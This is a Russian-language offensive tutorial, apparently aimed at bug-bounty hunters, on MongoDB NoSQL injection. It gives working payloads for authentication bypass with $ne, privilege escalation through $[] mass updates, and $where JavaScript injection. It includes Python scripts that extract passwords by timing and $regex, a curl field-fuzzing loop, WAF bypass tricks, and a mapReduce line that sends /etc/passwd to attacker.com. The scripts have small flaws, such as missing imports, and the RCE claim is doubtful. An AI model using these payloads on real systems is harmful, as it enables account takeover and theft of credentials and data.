Слушай, бро, если ты думаешь, что NoSQL — это безопасная альтернатива SQL, у меня для тебя плохие новости. MongoDB и его братья-NoSQL’ники жрут payload’ы ещё охотнее, чем MySQL после ' OR 1=1--
. Сегодня разберём, как через nested массивы и операторы $[]
с $where
можно превратить “безопасный” NoSQL-запрос в твой личный backdoor для дампа базы.
Точка входа
Что вижу: API endpoint, который принимает JSON с массивами или nested объектами, типа:
1 2 |
POST /api/user/update {"filters": {"role": "user"}, "updates": {"status": "active"}} |
Или URL-параметры с квадратными скобками в стиле PHP: username$ne=admin&password$regex=.*
.
Как поймал:
1 2 3 4 5 |
# Тестируем operator injection через Burp POST /api/login {"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}} # Если залогинило без валидных креденшалов — jackpot |
Альтернатива для массивов:
1 2 3 |
# Проверяем $[] через update-endpoint POST /api/users/update {"userId": "123", "tags.$[]": {"$set": "hacked"}} |
Чем пахнет: Authentication Bypass 9/10, если бэкенд не валидирует операторы. При работе с массивами через $[]
— ещё и Mass Assignment + Privilege Escalation, потому что можешь модифицировать все элементы массива сразу, включая приватные поля.
Че почем
Эксплойт 1: Bypass аутентификации через $ne
Классика жанра. Если приложение строит запрос типа db.users.findOne({username: req.body.username, password: req.body.password})
, подсовываем:
1 2 3 4 |
POST /api/login Content-Type: application/json {"username": {"$ne": null}, "password": {"$ne": null}} |
Результат: возвращается первый юзер в коллекции (обычно это admin
). Почему? Потому что запрос превращается в:
1 2 |
db.users.findOne({username: {$ne: null}, password: {$ne: null}}) // Переводится как: "Найди юзера, где username != null И password != null" |
Усиленная версия для таргетирования конкретного аккаунта:
1 |
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": ""}} |
Проверяем список популярных username’ов и байпасим пароль через $ne
.
Эксплойт 2: Mass update через $[]
— меняем всё
Допустим, есть API для обновления профиля:
1 2 |
POST /api/user/123/update {"profile.tags": ["user", "verified"]} |
Backend использует updateOne
с $[]
для обновления всех элементов:
1 2 3 4 |
db.users.updateOne( {_id: "123"}, {$set: {"profile.tags.$[]": req.body.tag}} ) |
Атака: Инжектим оператор через nested path:
1 2 3 4 5 |
POST /api/user/123/update { "profile.tags.$[]": "admin", "profile.role": "superadmin" } |
Если валидация слабая, запрос превратится в:
1 |
{$set: {"profile.tags.$[]": "admin", "profile.role": "superadmin"}} |
Теперь все элементы в tags
заменены на admin
, плюс добавили поле role
с правами суперадмина.
Вариант для nested массивов (когда массив внутри массива):
1 2 3 4 5 |
POST /api/courses/update { "courses.$[].students.$[student]": {"status": "passed"}, "arrayFilters": [{"student.grade": {"$gte": 0}}] } |
Если arrayFilters
не валидируется, можно засетить статус “passed” всем студентам с оценкой >= 0 (то есть всем).
Эксплойт 3: Blind injection через $where
+ timing
Самый злобный вариант. $where
позволяет выполнять произвольный JavaScript внутри запроса. Если приложение не санитизирует input и использует $where
, можно тянуть данные посимвольно.
Setup: Допустим, есть поиск юзеров:
1 |
db.users.find({$where: `this.username == '${req.query.username}'`}) |
Payload для bypass:
1 2 |
GET /api/users?username=admin' || '1'=='1 # Результат: вернёт всех юзеров, потому что '1'=='1' всегда true |
Blind extraction паролей через timing:
1 2 3 4 |
# Проверяем первый символ пароля GET /api/users?username=admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+' # Если ответ задержался на 5 секунд — первый символ = 'a' |
Автоматизируем через Python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
import requests import string url = "http://target.com/api/users" password = "" for pos in range(20): for char in string.printable: payload = f"admin'+function(x){{if(x.password[{pos}]==='{char}'){{sleep(3000)}}}}(this)+'" start = time.time() r = requests.get(url, params={"username": payload}) if time.time() - start > 3: password += char print(f"[+] Password so far: {password}") break |
Эксплойт 4: Exfiltration через $regex
— быстрее, чем timing
Если timing-based атаки слишком медленные, используем $regex
для boolean-based blind injection:
1 2 |
POST /api/login {"username": "admin", "password": {"$regex": "^a.*"}} |
Если залогинило — пароль начинается с a
. Если нет — пробуем другую букву.
Автоматизация через Burp Intruder:
1 2 3 4 5 |
POST /api/login {"username": "admin", "password": {"$regex": "^§a§.*"}} # Payload list: a-z, A-Z, 0-9 # Смотрим на HTTP status: 200 = match, 401 = no match |
Для извлечения всего пароля посимвольно:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
import requests url = "http://target.com/api/login" password = "^" charset = string.ascii_letters + string.digits + string.punctuation while True: for char in charset: payload = {"username": "admin", "password": {"$regex": password + char}} r = requests.post(url, json=payload) if r.status_code == 200: password += char print(f"[+] Found: {password}") break if char == charset[-1]: print(f"[!] Password: {password[1:]}") break |
Обход защиты
Трюк 1: Null byte для игнорирования условий
MongoDB иногда обрубает запрос после null byte (%00
):
1 2 3 4 5 6 7 8 |
GET /api/products?category=fizzy'%00 # Оригинальный запрос: # this.category == 'fizzy' && this.released == 1 # После инъекции: # this.category == 'fizzy'\u0000' && this.released == 1 # MongoDB игнорит всё после \u0000 — показывает unreleased продукты |
Трюк 2: PHP array syntax для URL-based injection
PHP автоматически парсит paramkey=value
в ассоциативный массив. Используем:
1 2 3 4 5 |
POST /login username[$ne]=admin&password[$ne]=pass # Превращается в PHP: # $_POST = ["username" => ["$ne" => "admin"], "password" => ["$ne" => "pass"]] |
Если backend тупо пихает $_POST
в MongoDB query — bypass готов.
Трюк 3: Operator smuggling через Content-Type conversion
Если GET-параметры не работают, конвертируем в POST + JSON:
1 2 3 4 5 6 7 |
# До: GET /login?username=admin&password=pass # После: POST /login Content-Type: application/json {"username": "admin", "password": {"$ne": ""}} |
Используй Burp extension “Content Type Converter” для автоматизации.
Доказательство
Успешный bypass через $ne
:
1 2 3 4 5 6 7 8 9 10 |
HTTP/1.1 200 OK Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... { "success": true, "user": { "username": "admin", "role": "administrator", "uid": 1 } } |
Если в ответе видишь "role": "administrator"
после payload’а {"username": {"$ne": null}}
— это твой golden ticket на $3k-$10k bounty.
Советы
3 вектора для добивания
1. Ищи $lookup
для cross-collection queries: Если endpoint использует aggregation pipeline, можно инжектить $lookup
для чтения из других коллекций:
1 2 3 4 5 6 7 |
{ "$lookup": { "from": "admin_secrets", "as": "leaked", "pipeline": [{"$match": {"password": {"$regex": ".*"}}}] } } |
Результат: дампишь коллекцию admin_secrets
через легитимный endpoint.
2. Error-based injection через $where
: Если приложение показывает ошибки БД, можно экстрактить данные через exceptions:
1 |
{"$where": "this.username=='admin'; throw new Error(JSON.stringify(this));"} |
Ответ вернёт полный объект юзера в ошибке.
3. Fuzzing через wordlist полей: Многие NoSQL базы не требуют схемы. Bruteforce имена полей:
1 2 3 4 5 |
for field in $(cat mongo_fields.txt); do curl -X POST http://target.com/api/user \ -d "{\"username\": \"admin\", \"$field\": {\"\\$ne\": null}}" \ -H "Content-Type: application/json" done |
Ищи поля типа isAdmin
, role
, permissions
, apiKey
.
План атаки (если зацепка есть)
1. Fingerprinting: Определяем, что используется MongoDB. Признаки: ObjectId в _id
(507f1f77bcf86cd799439011
), ошибки типа MongoError
, headers с X-Powered-By: Express
.
2. Тестируем operators: Пробуем $ne
, $gt
, $regex
, $where
в каждом input-поле. Используем Burp Intruder с payload list:
1 2 3 4 |
{"$ne": null} {"$gt": ""} {"$regex": ".*"} {"$where": "1==1"} |
3. Bypass auth: Если нашли уязвимый login endpoint — инжектим {"username": {"$ne": null}, "password": {"$ne": null}}
. Проверяем response на Set-Cookie или JWT.
4. Escalation через nested arrays: Ищем endpoints с update operations. Тестируем $[]
и $identifier
для mass assignment. Payload:
1 |
{"users.$[].role": "admin"} |
5. Data exfiltration: Если есть $where
или $regex
— автоматизируем извлечение через скрипт. Для timing-based используем sleep()
, для boolean-based — $regex
.
6. Profit: Если нашли RCE через $where
+ mapReduce()
, можно выполнить системные команды:
1 2 3 4 5 6 7 8 |
db.collection.mapReduce( function() { var x = 1; require('child_process').exec('curl http://attacker.com?data=$(cat /etc/passwd | base64)'); }, function(k, v) {}, {out: "pwned"} ) |
Это уже critical-level уязвимость на $15k+.
Бонусный лайфхак: Если MongoDB за WAF’ом, попробуй Unicode-encoding для bypass:
1 2 |
{"username": {"$\u006ee": null}} // \u006e = 'n', декодится в "$ne" |
Некоторые WAF’ы не декодят Unicode в JSON body.
Если всё плохо: NoSQL injection не работает, операторы заблокированы — ищи GraphQL endpoints или REST API, которые проксируют в Mongo. Там может быть тот же баг, но через другую точку входа. Или иди учить Rust, бро — там хоть borrow checker спасёт от твоих страданий с десериализацией.